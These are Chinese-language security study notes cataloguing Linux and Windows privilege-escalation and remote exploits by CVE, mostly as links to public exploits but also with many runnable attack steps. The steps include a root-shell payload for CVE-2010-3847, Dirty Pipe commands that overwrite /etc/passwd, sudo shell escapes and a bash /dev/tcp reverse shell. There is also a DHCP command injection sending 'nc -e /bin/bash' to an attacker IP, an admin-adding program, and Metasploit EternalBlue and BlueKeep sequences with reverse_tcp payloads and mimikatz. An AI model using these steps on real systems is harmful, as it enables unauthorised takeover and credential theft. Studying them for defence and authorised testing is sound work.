学习笔记-OS - Exploits

OS - Exploits


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


大纲

  • Linux

    • 系统漏洞提权
    • 原生软件提权
    • 系统配置提权
      • sudo
      • suid
    • 远程漏洞
  • Windows

    • 系统漏洞提权
    • 远程漏洞
    • 其他
  • FreeBSD

  • OpenBSD

  • Solaris


Linux

相关资源

  • carlospolop/PEASS-ng - 非常好用,可以直接下载 linpeas.sh 运行
  • xairy/linux-kernel-exploitation
  • xairy/kernel-exploits
  • SecWiki/linux-kernel-exploits
  • Al1ex/LinuxEelvation
  • bsauce/kernel-exploit-factory

相关文章

  • 年报解读|年度高可利用漏洞——Linux提权漏洞

内核漏洞提权

文章教程

  • Basic Linux Privilege Escalation
  • Local Linux Enumeration & Privilege Escalation Cheatsheet

提权辅助工具

  • mzet-/linux-exploit-suggester
  • jondonas/linux-exploit-suggester-2
  • rebootuser/LinEnum - 辅助信息收集脚本
  • DominicBreuker/pspy - 在没有 root 权限的情况下监视 linux 进程
  • TH3xACE/SUDO_KILLER - 一个用来识别和利用 sudo 规则的错误配置和漏洞的工具
  • liamg/traitor - Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock

以下工具长期未更新,不推荐

  • sleventyeleven/linuxprivchecker - 长期未更新,不推荐
  • lucyoa/kernel-exploits - 长期未更新,不推荐
  • Kabot/Unix-Privilege-Escalation-Exploits-Pack - 长期未更新,不推荐
  • InteliSecureLabs/Linux_Exploit_Suggester - 长期未更新,不推荐

CVE-2009-2698

  • 简介

    在 2.6.19 之前 Linux 内核中的(1) net/ipv4/udp.c 和(2) net/ipv6/udp.c 中的 udp 实现中的 udp_sendmsg 函数允许本地用户通过涉及 MSG_MORE 标志和 UDP 套接字的向量获得特权或导致拒绝服务(空指针取消引用和系统崩溃)。

  • 影响范围

    • Linux kernel < 2.6.19
    • CentOS 4.4/4.5
    • Fedora Core 4/5/6 x86
  • POC | Payload | exp

    • Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) - Linux_x86 local Exploit

CVE-2010-3847

  • POC | Payload | exp
    # 在/tmp下创建可控制的目录
    $ mkdir /tmp/exploit
    # 链接到suid二进制程序以更改$ORIGIN的定义
    
    $ ln /bin/ping /tmp/exploit/target
    # 打开到目标二进制程序的文件描述符
    
    $ exec 3< /tmp/exploit/target
    # 现在可通过/proc访问描述符
    
    $ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
    # 删除之前所创建的目录
    
    $ rm -rf /tmp/exploit/
    # /proc链接仍存在,但已标记为已被删除
    
    $ ls -l /proc/$$/fd/3
    lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
    # 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
    
    $ cat > payload.c
    void __attribute__((constructor)) init()
    {
    setuid(0);
    system("/bin/bash");
    }
    ^D
    $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
    $ ls -l /tmp/exploit
    -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
    # 通过LD_AUDIT强制/proc中的链接加载$ORIGIN
    
    $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    sh-4.1# whoami
    root
    sh-4.1# id
    uid=0(root) gid=500(taviso)

CVE-2016-4557

  • 简介

    Linuxkernel 是美国 Linux 基金会发布的开源操作系统 Linux 所使用的内核。NFSv4implementation 是其中的一个分布式文件系统协议。Linuxkernel4.5.5 之前版本的 kernel/bpf/verifier.c 文件中的‘replace_map_fd_with_map_ptr’函数存在安全漏洞,该漏洞源于程序没有正确维持 fd 数据结构体。本地攻击者可借助引用不正确文件描述符的 BPF 指令利用该漏洞获取权限或造成拒绝服务(释放后重用)。

  • 影响范围

    • Linux kernel <= 4.5.4
  • POC | Payload | exp

    • https://www.exploit-db.com/exploits/39772
    • https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

CVE-2016-5195 脏牛 Dirty COW

  • 简介

    2016年10月18日,Phil Oester 提交了隐藏长达9年之久的“脏牛漏洞(Dirty COW)”0day 漏洞,该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取 root 权限。

  • 影响范围

    • Linux kernel < 4.8.3
  • 相关文章

    • [翻译]从内核角度分析 Dirty Cow 原理
  • POC | Payload | exp

    • scumjr/dirtycow-vdso
    • dirtycow/dirtycow.github.io
    • gbonacini/CVE-2016-5195
    • https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
    • https://www.exploit-db.com/exploits/40616
    • https://www.exploit-db.com/exploits/40847
    • gebl/dirtycow-docker-vdso

CVE-2017-1000253

  • 简介

    在 Linux 环境下,如果应用程序编译时有 -pie 编译选项,则 load_elf_binary() 将会为其分配一段内存空间,但是 load_elf_ binary() 并不考虑为整个应用程序分配足够的空间,导致 PT_LOAD 段超过了 mm->mmap_base。在 x86_64 下,如果越界超过 128MB,则会覆盖到程序的栈,进而可能导致权限提升。

  • 影响范围

    • centos < 7.1708
    • redhat < 7.4
  • POC | Payload | exp

    • https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c

CVE-20171000405 Huge Dirty COW

  • 简介

    安全团队 Bindecy 爆出名为大脏牛(HugeDirty Cow)的内核提权漏洞,编号为 CVE-20171000405。包含 linux 内核(2.6.38~4.14)的服务器,桌面,移动等众多设备将面临严重挑战,数以百万计的用户受到安全威胁。该漏洞是由于对之前的内核提权漏洞(cve-2016-5195)修补不完整引发

  • 影响范围

    • 2.6.38 <= Linux kernel <= 4.14
  • 相关文章

    • "Huge Dirty COW" (CVE-2017-1000405)
  • POC | Payload | exp

    • bindecy/HugeDirtyCowPOC

CVE-2019-13272 Linux 4.10 < 5.1.17 PTRACE_TRACEME local root

  • 简介

    在 5.1.17 之前的 Linux 内核中,kernel/ptrace.c 中的 ptrace_link 在记录想要创建 ptrace 关系的进程的凭证时处理不当,这使得本地用户可以通过利用某些具有父子进程关系的场景获得 root 权限,其中父进程放弃权限并调用 execve(可能允许攻击者控制)。一个促成因素是对象寿命问题。另一个因素是不正确地将 ptrace 关系标记为特权,这可以通过(例如)PTRACE_TRACEME 的 Polkexec 帮助程序来利用。注意:在某些环境中,SELinux deny_ptrace 可能是一个可用的变通方法。

  • 相关文章

    • CVE-2019-13272:Linux本地内核提权漏洞复现
  • POC | Payload | exp

    • jas502n/CVE-2019-13272
    • https://github.com/firebroo/sec_tools/tree/master/linux-kernel-exploits/CVE-2019-13272

CVE-2020-8835 Linux Kernel 信息泄漏/权限提升

  • 简介

    漏洞是因为 bpf 验证程序没有正确计算一些特定操作的寄存器范围,导致寄存器边界计算不正确,进而引发越界读取和写入。该漏洞在 Linux Kernelcommit(581738a681b6) 中引入。

  • 相关文章

    • CVE-2020-8835 Linux Kernel 信息泄漏/权限提升漏洞分析
  • POC | Payload | exp

    • Exploit CVE-2020-8835

CVE-2020-14386

  • 相关文章

    • CVE-2020-14386 POC复现
  • POC | Payload | exp

    • cgwalters/cve-2020-14386

CVE-2021-3490

  • 简介

    该漏洞源于按位操作(AND,OR 和 XOR)的 eBPF ALU32 边界跟踪不会更新 32 位边界,攻击者可利用该漏洞触发越界读写,从而从普通权限提升到 root 权限。

  • POC | Payload | exp

    • chompie1337/Linux_LPE_eBPF_CVE-2021-3490

CVE-2021-3493

  • 相关文章

    • Linux kernel特权提升漏洞(CVE-2021-3493)复现
  • POC | Payload | exp

    • briskets/CVE-2021-3493

CVE-2021-22555

  • 相关文章

    • 隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现
  • POC | Payload | exp

    • veritas501/CVE-2021-22555-PipeVersion

CVE-2022-0185

  • 相关文章

    • LINUX内核漏洞——CVE-2022-0185分析与思考
  • POC | Payload | exp

    • chenaotian/CVE-2022-0185
    • veritas501/CVE-2022-0185-PipeVersion

CVE-2021-31440 Linux 内核eBPF提权漏洞

  • 相关文章
    • CVE-2021-31440:Linux 内核eBPF提权漏洞分析(Pwn2Own 2021)

CVE-2021-33909

  • POC | Payload | exp
    • Liang2580/CVE-2021-33909

CVE-2022-0847

  • 影响范围

    • 5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
  • 相关文章

    • The Dirty Pipe Vulnerability
      gcc poc.c -o exp -std=c99
      
      cp /etc/passwd /tmp/passwd_bak
      new_passwd=$(cat /etc/passwd|head)
      ./exp /etc/passwd 1 "${new_passwd/root:x/oot:}"
      
      su root
    • CVE-2022-0847_DirtyPipe Linux 内核提权漏洞分析及复现
    • CVE-2022-0847 Linux内核漏洞简要分析
    • CVE-2022-0847漏洞对容器环境影响的深度分析
  • POC | Payload | exp

    • Arinerron/CVE-2022-0847-DirtyPipe-Exploit
    • https://haxx.in/files/dirtypipez.c
      mkdir dirtypipez
      cd dirtypipez
      wget https://haxx.in/files/dirtypipez.c
      gcc dirtypipez.c -o dirtypipez
      
      find / -perm -u=s -type f 2>/dev/null
      ./dirtypipez /bin/su
    • polygraphene/DirtyPipe-Android - Dirty Pipe root exploit for Android (Pixel 6)

CVE-2022-2588

  • POC | Payload | exp
    • Markakd/CVE-2022-2588

CVE-2022-2639 Linux 内核 openvswitch 本地提权

  • POC | Payload | exp
    • veritas501/CVE-2022-2639-PipeVersion

CVE-2022-25636

  • 相关文章

    • CVE-2022-25636内核越界写入漏洞对容器的影响分析
  • POC | Payload | exp

    • Bonfee/CVE-2022-25636
    • veritas501/CVE-2022-25636-PipeVersion

CVE-2022-27666

  • 描述

    CVE-2022-27666 是 Linux esp6 加密模块中的一个漏洞。该漏洞成因是,esp6模块中用户消息的接收缓冲区是8页缓冲区,但发送者可以发送大于8页的消息,造成缓冲区溢出。

  • 相关文章

    • CVE-2022-27666: Exploit esp6 modules in Linux kernel
  • POC | Payload | exp

    • plummm/CVE-2022-27666

CVE-2022-34918

  • POC | Payload | exp
    • randorisec/CVE-2022-34918-LPE-PoC
    • veritas501/CVE-2022-34918

原生软件提权

CVE-2019-7304

  • 相关文章
    • Snapd Ubuntu 提权分析

CVE-2019-14287

  • 简介

    当 sudo 配置为允许用户以任意方式运行命令时用户通过 Runas 规范中的 ALL 关键字,可以通过指定用户 ID -1 或 4294967295 以 root 用户身份运行命令。

  • 影响范围

    • Sudo_project:Sudo:1.3.0::
    • Sudo_project:Sudo:1.3.1::
    • Sudo_project:Sudo:1.4.0::
    • Sudo_project:Sudo:1.5.0::
    • Sudo_project:Sudo:1.5.1::
  • 相关文章

    • How to detect CVE-2019-14287 using Falco
    • CVE-2019-14287 linux sudo root 权限绕过漏洞复现
  • POC | Payload | exp

    cat /etc/sudoers | grep "(\s*ALL\s*,\s*\!root\s*)"
    cat /etc/sudoers | grep "(\s*ALL\s*,\s*\!#0\s*)"
    
    sudo -u#-1 id -u
    或者:
    sudo -u#4294967295 id -u

Ubuntu + accountsservice dos + gdm3 LPE

  • 相关文章
    • How to get root on Ubuntu 20.04 by pretending nobody’s /home

CVE-2021-3156 Sudo 本地权限提升

  • 漏洞描述

    在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

  • 相关文章

    • CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit)
    • 漏洞情报|Linux Sudo 本地权限提升高危漏洞风险通告(CVE-2021-3156)
    • CVE-2021-3156:Linux sudo权限提升漏洞复现
    • lockedbyte/CVE-Exploits/tree/master/CVE-2021-3156
  • POC | Payload | exp

    以非root用户登录系统,运行
    sudoedit -s /
    
    如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
    • reverse-ex/CVE-2021-3156
    • https://haxx.in/CVE-2021-3156_nss_poc_ubuntu.tar.gz
    • r4j0x00/exploits/tree/master/CVE-2021-3156
    • blasty/CVE-2021-3156
    • stong/CVE-2021-3156
    • worawit/CVE-2021-3156
    • Rvn0xsy/CVE-2021-3156-plus

CVE-2021-3560

  • 相关文章
    • Privilege escalation with polkit: How to get root on Linux with a seven-year-old bug
    • CVE-2021-3560 Linux polkit 提权

CVE-2021-4034 pkexec 本地权限提升

  • 相关文章

    • CVE-2021-4034 pkexec 本地提权
    • PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034)
    • CVE-2021-4034 Linux Polkit 权限提升漏洞挖掘思路解读
  • POC | Payload | exp

    • arthepsy/CVE-2021-4034 - PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
    • berdav/CVE-2021-4034 - CVE-2021-4034 1day
    • ly4k/PwnKit - Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
    • zhzyker/CVE-2021-4034 - polkit pkexec Local Privilege Vulnerability to Add custom commands
    • EstamelGG/CVE-2021-4034-NoGCC - CVE-2021-4034简单优化,以应对没有安装gcc和make的目标环境

系统配置提权

文章教程

  • Abusing SUDO (Linux Privilege Escalation)
  • 谈一谈Linux与suid提权

若 /etc/passwd 文件可修改

梦想总得有,万一真的可以成功呢

openssl passwd -1   # 输入你想改成的密码,用得到的 hash 去替换 root 行的 x
python -c 'import pty; pty.spawn("/bin/bash")'

然后 su root,输入上一步改的密码

sudo
sudo -l # 查看当前用户执行哪些 sudo 命令无需密码

下面只记录部分,更多内容访问 GTFOBins

  • zip

    sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
    
    -T 表示测试 test.zip 的完整性
    -unzip-command 与 -T 一起使用,可以指定自定义命令用于解压 test.zip
  • tar

    sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
    
    -checkpoint-action 选项是提权点,可以自定义需要执行的动作
  • strace

    sudo strace -o /dev/null /bin/bash
  • nmap

    低版本的 nmap3.x 有 interactive 模式,且设置了 suid,这个时候可以进入交互模式 执行 !sh 命令即可轻松完成提权。

    echo "os.execute('/bin/bash')" > /tmp/shell.nse
    sudo nmap --script=/tmp/shell.nse
  • more

    sudo more /etc/hosts
    !/bin/bash
  • git

    sudo git help status
    !/bin/bash
  • ftp

    sudo ftp
    ftp> !/bin/bash
  • vim

    sudo vim -c '!bash'
  • perl:

    sudo perl -e 'exec "/bin/bash";'
  • python:

    sudo python -c 'import pty;pty.spawn("/bin/bash")'
  • less

    sudo less /etc/hosts
    v
    :shell
  • awk

    sudo awk 'BEGIN {system("/bin/bash")}'
  • man

    sudo man man
    !/bin/bash
  • vi

    sudo vi
    
    :!bash
    或
    :!/bin/sh
    或
    :set shell=/bin/sh
    :shell
  • find

    find . -exec /bin/sh \;

suid

找带 suid 的文件

并不是说程序存在 suid 位就可以提权,还需要看程序的所有者

find / -perm -u=s 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

筛选出其中所有人有 rwx 权限的文件,添加如下一句话:

bash -i >& /dev/tcp//port 0>&1

远程漏洞

CVE-2014-6271 Bash 远程代码执行漏洞"破壳"

  • 简介

    GNU Bash 是美国软件开发者布莱恩-福克斯(Brian J. Fox)为 GNU 计划而编写的一个 Shell(命令语言解释器),它运行于类 Unix 操作系统中(Linux 系统的默认 Shell),并能够从标准输入设备或文件中读取、执行命令,同时也结合了一部分 ksh 和 csh 的特点。

    GNU Bash 4.3 及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd 中的 ForceCommand 功能,Apache HTTP Server 中的 mod_cgi 和 mod_cgid 模块,DHCP客户端等。(说明:该漏洞的补丁并没有完全修复该问题,CNNVD-201409-956 补充了不完整修复后仍存在的问题)

  • 相关文章

    • Bash远程代码执行漏洞"破壳"(CVE-2014-6271)分析
  • POC | Payload | exp

    • scottjpack/shellshock_scanner
    • Bash - 'Shellshock' Environment Variables Command Injection
  • 本地验证方法

    env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

    执行命令后,如果显示 Vulnerable CVE-2014-6271,证系统存在漏洞,可改变 echo Vulnerable CVE-2014-6271 为任意命令进行执行.

    User-Agent: () { :;}; whoami

  • MSF 模块

    use exploit/linux/http/ipfire_bashbug_exec
    use exploit/multi/http/cups_bash_env_exec
    use exploit/unix/dhcp/bash_environment

CVE-2015-7547

  • 简介

    Google 安全团队发现 glibc 存在的溢出漏洞。glibc 的 DNS 客户端解析器中存在基于栈的缓冲区溢出漏洞。当软件用到 getaddrinfo 库函数(处理名字到地址以及服务到端口的转换)时,攻击者便可借助特制的域名、DNS 服务器或中间人攻击利用该漏洞,控制软件,并试图控制整个系统。

    攻击者使用恶意的 DNS 域名服务器创建类似于 evildomain.com 的域名,然后向目标用户发送带有指向该域名的链接的邮件,一旦用户点击该链接,客户端或浏览器将会开始查找 evildomain.com,并最终得到恶意服务器的 buffer-busting 响应。该域名被嵌入服务器日志中,一旦解析就会触发远程代码执行,SSH 客户端也会因此被控制。或者,位于目标用户网络中的中间人攻击者可以篡改 DNS 响应,向恶意代码中动态注入负载。

    简单的说,只要控制了 linux 服务器所访问的 DNS 服务器,或者对 linux 服务器的流量进行劫持;那么,在 Linux 服务器做 DNS 请求时,恶意 DNS 服务器就可以对 linux 服务器进行远程溢出攻击,获取服务器权限。

  • 相关文章

    • CVE-2015-7547 - sevck
    • CVE-2015-7547的漏洞分析
  • POC | Payload | exp

    • fjserna/CVE-2015-7547

CVE-2018-1111 DHCP 客户端脚本代码执行漏洞

  • 简介

    Fedora 是由 Fedora 项目社区开发、美国红帽(Red Hat)公司赞助的一套基于 Linux 的操作系统。DHCP packages 是其中的一个动态主机配置协议软件包。

    Fedora 28 及之前版本、Red Hat Enterprise Linux 6 和 7 中的 DHCP 包的 NetworkManager integration 脚本存在命令注入漏洞。本地攻击者可通过伪造 DHCP 响应利用该漏洞在系统以 root 权限执行任意命令。

  • 相关文章

    • CVE-2018-1111 复现环境搭建与 dhcp 命令注入
    • DHCP 客户端脚本代码执行漏洞分析 (CVE-2018-1111)
  • POC | Payload | exp

    • knqyf263/CVE-2018-1111
    • kkirsche/CVE-2018-1111
  • 本地利用方法

    attacker: kali linux 2018 x64 192.168.71.5
    victim: Centos 7 x64 192.168.71.10
    vim dnsmasq.conf
    bind-interfaces
    interface=eth0
    except-interface=lo
    dhcp-range=192.168.71.10,192.168.71.20,12h
    dhcp-option=3,192.168.71.5
    dhcp-option=6,192.168.71.5
    log-queries
    log-facility=/var/log/dnsmasq.log
    dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash192.168.71.5 6666 #"
    nc -l -p 6666 -v

    重启 CentOS 的网络服务,然后 shell 就反弹回来了


Windows

相关资源

  • WindowsExploits/Exploits- Windows Exploits
  • Ascotbe/Kernelhub

提权漏洞

相关文章

  • Windows Privilege Escalation Fundamentals
  • Windows - Privilege Escalation
  • 猫鼠游戏:Windows内核提权样本狩猎思路分享
  • Windows 提权汇总

提权辅助工具

  • windows 本地提权对照表
  • 提权辅助网页
  • Windows提权EXP在线搜索工具
  • BulletinSearch-微软官网提供的漏洞 excel 列表
  • GDSSecurity/Windows-Exploit-Suggester - 此工具将目标修补程序级别与 Microsoft 漏洞数据库进行比较,以便检测目标上可能缺少的修补程序.
  • bitsadmin/wesng - Windows Exploit Suggester
  • tengzhangchao/microsoftSpider - 爬取微软漏洞信息,MS 对应的每个版本操作系统 KB 号以及补丁下载地址.
  • SecWiki/windows-kernel-exploits - Windows 平台提权漏洞集合
  • AonCyberLabs/Windows-Exploit-Suggester - 将目标的修补程序与微软的漏洞数据库进行比较,以检测目标的潜在缺失修补程序。
  • akabe1/windows_exploit_dowser - 一个简单的工具,可以用来识别影响 Windows 操作系统的漏洞。
  • itm4n/PrivescCheck - Privilege Escalation Enumeration Script for Windows

添加开机启动项

useradd.c

#include 
int main ()
{
    int i;
    i=system ("net localgroup adminstrators lowpriv /add");
    return 0;
}
i586-mingw32msvc-gcc useradd.c -o useradd.exe

将 useradd.exe 传到目标机上,用 useradd.exe 去替换 everyone 完成控制且以系统权限开机自启的 exe,即可将用户 lowpriv 提升为管理员权限

查看一个程序的各个用户权限: icacls xxx.exe

CVE-2016-3225 && MS16-075

  • 简介

    Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。

  • POC | Payload | exp

    • MS16-075

CVE-2016-7255 && MS16-135

  • 相关文章

    • CVE-2016-7255:分析挖掘Windows内核提权漏洞
  • POC | Payload | exp

    • https://github.com/tinysec/public/tree/master/CVE-2016-7255
    • https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2016-7214

CVE-2017-0050 && MS17-017

  • POC | Payload | exp
    • https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2017-0050

schedsvc!SchRpcSetSecurity() 漏洞

  • 相关文章

    • 技术讨论 | Windows全版本提权之Win10系列解析
  • POC | Payload | exp

    • alpha1ab/Win2016LPE

CVE-2018-8120

  • 简介

    Microsoft Windows 中存在提权漏洞,该漏洞源于 Win32k 组件没有正确的处理内存中的对象。攻击者可利用该漏洞在内核模式下以提升的权限执行任意代码。

  • 影响版本

    • Microsoft Windows 7 SP1
    • Windows Server 2008 SP2
    • Windows Server 2008 R2 SP1
  • 相关文章

    • 关于CVE-2018-8120的最新Windows提权漏洞分析
  • POC | Payload | exp

    • unamer/CVE-2018-8120: CVE-2018-8120 Windows LPE exploit
    • alpha1ab/CVE-2018-8120: CVE-2018-8120 Exploit for Win2003 Win2008 WinXP Win7

CVE-2019-0803

  • 相关文章

    • CVE-2019-0803复现调试笔记
  • POC | Payload | exp

    • ExpLife0011/CVE-2019-0803
    • https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2019-0803

CVE-2019-1132

  • 相关文章

    • CVE-2019-1132详细分析
  • POC | Payload | exp

    • Vlad-tri/CVE-2019-1132

CVE-2019-1215

  • 简介

    Microsoft Windows 和 Microsoft Windows Server 都是美国微软(Microsoft)公司的产品。Microsoft Windows 是一套个人设备使用的操作系统。Microsoft Windows Server 是一套服务器操作系统。

    Microsoft Windows 和 Microsoft Windows Server 中 ws2ifsl.sys(Winsock) 处理内存对象的方式存在提权漏洞。攻击者可借助特制的应用程序利用该漏洞以提升的权限执行代码。

  • 影响版本

    • Windows_10
    • Windows 7 SP1
    • Windows 8.1
    • Windows RT 8.1
    • Windows Server 2008 SP2
    • Windows Server 2008 R2 SP1
    • Windows Server 2012
    • Windows Server 2012 R2
    • Windows Server 2016
    • Windows Server 2019
  • 相关文章

    • CVE-2019-1215 Analysis of a Use After Free in ws2ifsl
  • POC | Payload | exp

    • bluefrostsecurity/CVE-2019-1215

CVE-2019-1388

  • 简介

    Microsoft Windows 和 Microsoft Windows Server 都是美国微软(Microsoft)公司的产品。Microsoft Windows 是一套个人设备使用的操作系统。Microsoft Windows Server 是一套服务器操作系统。Windows Certificate Dialog 是其中的一个证书操作对话框组件。

    Microsoft Windows Certificate Dialog 中存在提权漏洞,该漏洞源于程序没有正确执行用户特权。攻击者可通过登录系统并借助特制的应用程序利用该漏洞获取提升的权限。

  • 影响版本

    • Windows_10
    • Windows 7 SP1
    • Windows 8.1
    • Windows RT 8.1
    • Windows Server 2008 SP2
    • Windows Server 2008 R2 SP1
    • Windows Server 2012
    • Windows Server 2012 R2
    • Windows Server 2016
    • Windows Server 2019
  • 相关文章

    • 最新Windows 7安全桌面提权漏洞风险提示与过程披露
    • Thanksgiving Treat: Easy-as-Pie Windows 7 Secure Desktop Escalation of Privilege
  • POC | Payload | exp

    • sv3nbeast/CVE-2019-1388 - guest→system(UAC手动提权)

CVE-2020-0668

  • POC | Payload | exp
    • RedCursorSecurityConsulting/CVE-2020-0668

CVE-2020-0683

  • POC | Payload | exp
    • padovah4ck/CVE-2020-0683

CVE-2020-0787

  • 相关文章

    • Windows本地提权漏洞(CVE-2020-0787)
    • CVE-2020-0787-Windows本地提权漏洞分析
  • POC | Payload | exp

    • cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION
    • https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2020-0787

CVE-2020-0796

  • POC | Payload | exp
    • danigargu/CVE-2020-0796 - Windows SMBv3 LPE Exploit

WerTrigger

  • POC | Payload | exp
    • sailay1996/WerTrigger

CVE-2020-1054

  • 相关文章

    • CVE-2020-1054分析
  • POC | Payload | exp

    • 0xeb-bp/cve-2020-1054

CVE-2020-1066

  • POC | Payload | exp
    • cbwang505/CVE-2020-1066-EXP

CVE-2020-1170 Microsoft Windows Defender 提权漏洞

  • 相关文章
    • Windows Defender 本地提权漏洞分析(CVE-2020-1170)

CVE-2021-1727

  • POC | Payload | exp
    • klinix5/CVE-2021-1727

CVE-2021-1732

  • 相关文章

    • CVE-2021-1732 for win10-1809
  • POC | Payload | exp

    • KaLendsi/CVE-2021-1732-Exploit

CVE-2021-33739

  • 相关文章
    • CVE-2021-33739&CVE-2021-26868 内核漏洞分析

CVE-2021-34484

  • 相关文章

    • 微软权限提升漏洞补丁绕过【附Poc】
  • POC | Payload | exp

    • klinix5/ProfSvcLPE

CVE-2021-36934

  • 相关文章

    • 【安全风险通告】CVE-2021-36934Windows 提权漏洞安全风险通告
    • Windows 权限提升:HiveNightmare
  • POC | Payload | exp

    • HuskyHacks/ShadowSteal
    • GossiTheDog/HiveNightmare

CVE-2021-40449

  • 相关文章

    • CVE-2021-40449
  • POC | Payload | exp

    • https://github.com/Al1ex/WindowsElevation/tree/master/CVE-2021-40449

CVE-2021-41379 && CVE-2021-43883

  • 简述

    Windows Installer 存在权限提升漏洞,该漏洞利用程序通过覆盖 Microsoft Edge 提升服务(elevation_service.exe)DACL,将自身复制到 elevation_service.exe 并执行它以获得提升的权限。本地攻击者可以利用此漏洞获取 SYSTEM 权限。

  • POC | Payload | exp

    • klinix5/InstallerFileTakeOver
    • jbaines-r7/shakeitoff - Windows MSI Installer LPE (CVE-2021-43883)

CVE-2022-21882

  • POC | Payload | exp
    • KaLendsi/CVE-2022-21882 - win32k LPE

远程漏洞

MS08-067 & CVE-2008-4250

  • MSF 模块
    use exploit/windows/smb/ms08_067_netapi
    set payload windows/x64/meterpreter/reverse_tcp
    set target 0

MS12-020 & CVE-2012-0002

  • MSF 模块
    use auxiliary/scanner/rdp/ms12_020_check
    use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

MS14-066 & CVE-2014-6321

  • POC | Payload | exp
    • anexia-it/winshock-test

MS15-034 & CVE-2015-1635

  • POC | Payload | exp

    • MS15-034 Checker
  • 相关文章

    • MS15-034/CVE-2015-1635 HTTP远程代码执行漏洞分析
  • MSF 模块

    use auxiliary/scanner/http/ms15_034_http_sys_memory_dump    # 读取服务器内存数据
    use auxiliary/dos/http/ms15_034_ulonglongadd    # 进行 dos 攻击

CVE-2017-0143 - CVE-2017-0148 && MS17-010

  • MSF 模块

    # 发现,检测
    use auxiliary/scanner/smb/smb_ms17_010
    set rhosts [ip]
    run
    
    # 命令执行,不回弹
    use auxiliary/admin/smb/ms17_010_command
    set command whoami
    
    # 使用 payload 连上去
    use exploit/windows/smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost [ip]      # 设置回弹地址
    set rhosts [ip]
    run
    
    # msf 下加载 mimikatz 模块
    load mimikatz
    kerberos
  • 修复工具

    • "永恒之蓝"勒索蠕虫漏洞修复工具

bluekeep & CVE-2019-0708

  • 相关文章

    • RDP Stands for "Really DO Patch!" - Understanding the Wormable RDP Vulnerability CVE-2019-0708
    • worawit/CVE-2019-0708
  • POC | Payload | exp

    • zerosum0x0/CVE-2019-0708
    • robertdavidgraham/rdpscan
    • Ekultek/BlueKeep
    • mekhalleh/cve-2019-0708 (实测、蓝屏)
    • Cyb0r9/ispy
    • k8gege/CVE-2019-0708 - 批量检测工具
    • cbwang505/CVE-2019-0708-EXP-Windows - Windows版单文件exe版
    • nccgroup/BKScan
  • 修复工具

    • "CVE-2019-0708"漏洞检测修复工具
    • https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708
  • MSF 模块

    # 发现,检测
    use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
    set rhosts [ip]
    run
    # 利用
    use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
    set target [1-7]
    set rhosts [ip]
    show options
    exploit
    shell
    python

SMBGhost && CVE-2020-0796 微软 SMBv3 协议远程代码执行漏洞

  • 简介

    2020年3月11日,思科 Talos 发布了一个威胁等级被标记为 Critical 的 SMB 服务远程代码执行漏洞(CVE-2020-0796)综述,攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。

    本次漏洞存在于微软 SMBv3.0 协议中,该漏洞是由 SMBv3 处理恶意压缩数据包时进入错误流程造成的。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

